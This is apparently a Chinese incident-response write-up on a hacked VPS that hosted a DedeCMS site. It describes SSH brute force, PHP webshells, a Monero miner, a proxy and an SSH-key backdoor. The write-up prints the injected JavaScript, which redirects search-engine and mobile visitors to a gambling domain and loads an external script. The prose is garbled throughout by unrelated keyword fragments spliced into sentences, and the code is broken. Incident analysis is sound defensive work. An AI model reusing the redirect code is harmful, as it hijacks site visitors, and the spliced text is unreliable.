记一次服务器入侵事件的应急响应

0x01 事件背景

8月某日，记次件客户官网被黑，服务需在特定时间内完成整改。器入侵事为避免客户业务受到影响，应急实验室相关人员第一时间展开本次攻击事件的记次件应急处理。

0x02 事件分析

网站源码被篡改，服务攻击者一定获取到了权限，器入侵事那么接下来的应急思路就是推测攻击者入侵手段，找到业务脆弱点，记次件对服务器进行全方位排查
，服务找到攻击者留下来的器入侵事痕迹并进行分析处理。

2.1 信息收集

与客户简单沟通后
，应急得知如下基本信息：

官网服务器为租赁的免费模板记次件阿里云虚拟专用服务器虚拟专用服务器上部署的官网后台使用了DedeCMS织梦系统虚拟专用服务器安装了宝塔面板服务器运维系统虚拟专用服务器安装的宝塔面板的密码已被篡改2.2 攻击入口判断

服务器开放了SSH 、宝塔、服务DedeCMS等3个服务，器入侵事那么接下来我们从服务器开放的服务来推测可能的攻击入口
。

玩过宝塔的朋友都知道 ，宝塔后台路径未知的情况下，通过宝塔后台GetShell基本上是不可能的。亿华云此外 ，客户设置的BT面板的用户名也有些复杂，所以推断攻击者从宝塔下手的可能性很小（这里埋个坑 ，前面提到客户宝塔后台密码被修改的情况，后面会说到原因）。

客户官网使用的DedeCMS版本为 v5.7 sp2，尝试所有公开漏洞均未成功。并且，DedeCMS的后台密码没有规律  ，所以推测从DedeCMS入侵的服务器租用可能性也不是很大 。

客户给出了服务器的账号密码 ，我们的第一反应是入侵从SSH弱口令开始的 。因为我的爆破字典里包含了服务器的密码（手动笑哭）  ，但这显然还不能直接让客户信服 。

综上
，高度怀疑服务器是被爆破SSH弱口令后导致了后续的入侵行为 。源码库

2.3 应急响应

在判断攻击入口后，我们登录客户的服务器，仔细抡了一遍 ，只能说服务器上的东西有点多。 。。

2.3.1 BC黑页&PHP后门

首先访问客户首页 ，发现官网页面表面没有任何异常，也并未被重定向到BC网站 。但是实际上网页Meta信息被篡改 ，且会异步请求BC网站和百度统计的若干接口 。

推测攻击者的云计算目的应为BC网站SEO优化 ，提高网站的SEO排名。

定位到服务器上的DedeCMS网站源码，发现源码在7月17日被修改植入了恶意代码。

网站源码被插入2个新的meta元素，以及一段JavaScript代码 。下图为新增的meta元素  ，解码后发现是菠菜搜索关键词。

新插入的JavaScript代码如下图所示。高防服务器解码后发现是一段引用外部js的代码 。

恶意js文件的内容为
：

此文件的作用就是插入https://sjbgw2022.com/tb.js的恶意文件以及对恶意SEO优化 。

继续查看tb.js这个文件内容 ：

复制//这里省略一大段代码，因为代码内容与ly.js

内容一致都是对恶意SEO的优化

//

上面的代码与之前一样作用就是推送自动收录。

//

JS正则表达式判断来路，如果是下列搜索引擎则指定跳转网址。

var regexp=/\.(sogou|soso|baidu|bsb|youdao|lanjie|bing|118114|biso|sm|qq|so|safe|toutiao|biso|360)(\.[a-z0-9\-]+){ 1,2}\//ig;var where =document.referrer;if(regexp.test(where)){ window.location.href="https://tb04.cc/";//

满足就跳转至菠菜页面。

}//

更详细的检测，判断是否包含搜索引擎字段 ，是则跳转至菠菜页面。

var sp_regexps = /\.(yahoo|google|baidu|soso|sogou|bing|sou|so|360|haosou|youdao|sooule|easou|aliyun|sina|jike|Yisou|uc|sm)\./gi;var sp_whereis = window.location.referrer;try { sp_whereis = top.document.referrer;} catch (e) { }try { sp_whereis = window.parent.document.referrer;} catch (e) { }var sp_domains = window.location.host;try { sp_domains = top.document.domain;} catch (e) { }try { sp_domains = window.parent.document.domain;} catch (e) { }if (sp_regexps.test(sp_whereis)) { window.location.href = https://tb04.cc; parent.window.opener.location = https://tb04.cc;}//

判断是否是移动端 ，满足也跳转至菠菜页面。

function browserRedirect() { var sUserAgent = navigator.userAgent.toLowerCase(); var bIsIpad = sUserAgent.match(/ipad/i) == ipad; var bIsIphoneOs = sUserAgent.match(/iphone os/i) == iphone os; var bIsMidp = sUserAgent.match(/midp/i) == midp; var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == rv:1.2.3.4; var bIsAndroid = sUserAgent.match(/android/i) == android; var bIsCE = sUserAgent.match(/windows ce/i) == windows ce; var bIsWM = sUserAgent.match(/windows mobile/i) == windows mobile; if (!(bIsIphoneOs || bIsMidp || bIsAndroid || bIsCE || bIsWM)) { } else { window.location.href = https://tb04.cc; }}browserRedirect();1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.

发现这个文件的作用是恶意SEO优化，判断访问网站的来路，如果是从搜索引擎过来的就会跳转至菠菜页面 ，如果是直接访问官网则不会有变化
。菠菜页面截图如下所示 ：

此外，在DedeCMS源码目录发现了很多PHP后门 。

2.3.2 宝塔沦陷

接下来我们进行了日志排查，发现系统日志都已经被清理 。

前面说到宝塔密码已被修改，那么为了登入宝塔，我们直接修改宝塔密码。在服务器上输入bt命令进行修改
。

登入宝塔后台后  ，我们发现最后一次登录时间为7月16日
，攻击者上传了一个名为zxc.php的木马文件 。

网站日志未被删除，日志显示攻击者在7月17日通过zxc.php上传大量后门文件，下图为日志访问记录截图。

下图为一个PHP大马的截图
。

综上所述，推断攻击者是菠菜SEO黑产组织，攻击手法为利用SSH弱口令远程登录服务器 ，修改宝塔后台密码后上传木马
，进而通过代理机器继续上传其它木马文件。这是2.2节中所述的宝塔密码被篡改的原因 。

2.3.3 门罗币挖矿木马

服务器上的问题还不仅仅是被挂黑页这么简单。服务器进程排查过程中发现，某进程CPU占用率特别高
，不出意外就是挖矿程序了 。

跟踪定位文件位置为/root/.warmup/ 。

发现挖矿配置文件/root/.warmup/config.json 。

从网络通联信息发现矿池地址为5.133.65.53至5.133.65.56的IP段 。威胁情报表明这是一个门罗币矿池 。

杀死挖矿进程后程序自启动
，删除挖矿文件后发现过一段时间文件会被重新下载并运行。这说明存在挖矿守护进程或定时任务。经分析 ，发现一个5月7日就创建的定时挖矿任务。

somescript文件内容为创建一个挖矿自启动服务warmup，保证进程或文件被删除后能重新加载挖矿程序 。

2.3.4 xray代理

Xray是V2ray的一个分支(Fork)
 。Xray项目基于V2ray而来，其支持并且兼容V2ray的配置，其官方网站为（https://xtls.github.io/Xray-docs-next/） ，我们在进程排查中发现有Xray程序正在运行 。

Xray最后一次运行时间为8月17日。

2.3.5 SSH后门

最后 ，除了后门  、定时任务外 ，继续查看服务器上是否有攻击者留下的手段。我们发现服务器在5月9日被写入SSH公钥，经与客户确认不是客户所为 。

0x03  应急处理

客户有业务数据备份，那么处理和加固就简单多了。我们对服务器进行了如下操作：

重置系统服务器修改服务器、系统后台的口令 ，加强口令复杂度，避免出现连续性口令自定义日志目录，避免日志被删除网站目录设置除root外所有用户禁止写入上传目录做权限设置

0x04  事件还原与总结

我们推测攻击者不止一个 ，并且都是通过SSH弱口令入侵服务器 。事件时间线如下图所示：

第一波攻击者可能是挖矿组织 ，在5月7日大概率利用SSH弱口令进入服务器上传挖矿程序somescript，且做了对应的维持手段 
。

第二波攻击者可能是黑产组织，攻击时间为7月16日至7月17日  ，其操作是对网站做黑帽SEO，更改宝塔后台并上传大量后门。

第三波攻击者应该只是想控制一批跳板机，在8月17日上传了代理程序，目前在服务器上出现的恶意事件最后截止也是到8月17日
 。